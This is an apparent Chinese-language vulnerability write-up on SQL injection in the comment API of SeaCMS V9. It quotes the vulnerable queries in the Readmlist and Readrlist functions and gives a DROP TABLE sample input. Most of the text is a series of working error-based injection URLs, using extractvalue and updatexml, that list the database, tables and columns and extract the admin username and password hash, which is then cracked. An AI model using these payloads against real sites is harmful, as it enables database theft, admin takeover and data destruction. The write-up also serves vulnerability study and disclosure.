漏洞背景
SQL 注入攻击是当前网络安全中最常见的一种攻击方式,攻击者可以利用该漏洞访问或操作数据库,造成数据泄露或破坏。通常发生在开发人员未能正确处理用户输入时。
在 SeaCMS V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。
漏洞位置
seacmsv9\comment\api\index.php
注入风险
在 Readmlist
函数中:
php
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
直接将 $type
和 $id
的值嵌入到查询中。如果 $type
或 $id
变量没有经过适当的验证或清理,可以通过修改这些参数来执行恶意的 SQL 查询,从而导致 SQL 注入攻击。例如:
1; DROP TABLE sea_comment; --
在 Readrlist
函数中:
php
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$ids
变量直接用于 SQL 查询,如果 $ids
是由用户输入的,并且没有经过验证或过滤,可以传递恶意的输入来执行 SQL 注入攻击。
注入:
报错数据库名:
php
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:
php
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

报错字段名:
php
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`

php
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

报错数据:
http://seacmsv9:8015//comment/api/index.php?gid=1\&page=2\&type=1\&rlist\[\]=@\`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`

无报错
原因是表sea_comment为空,无返回值
在表sea_comment插入数据,再次注入查看

php
http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进行MD5解密就,账号密码都是admin
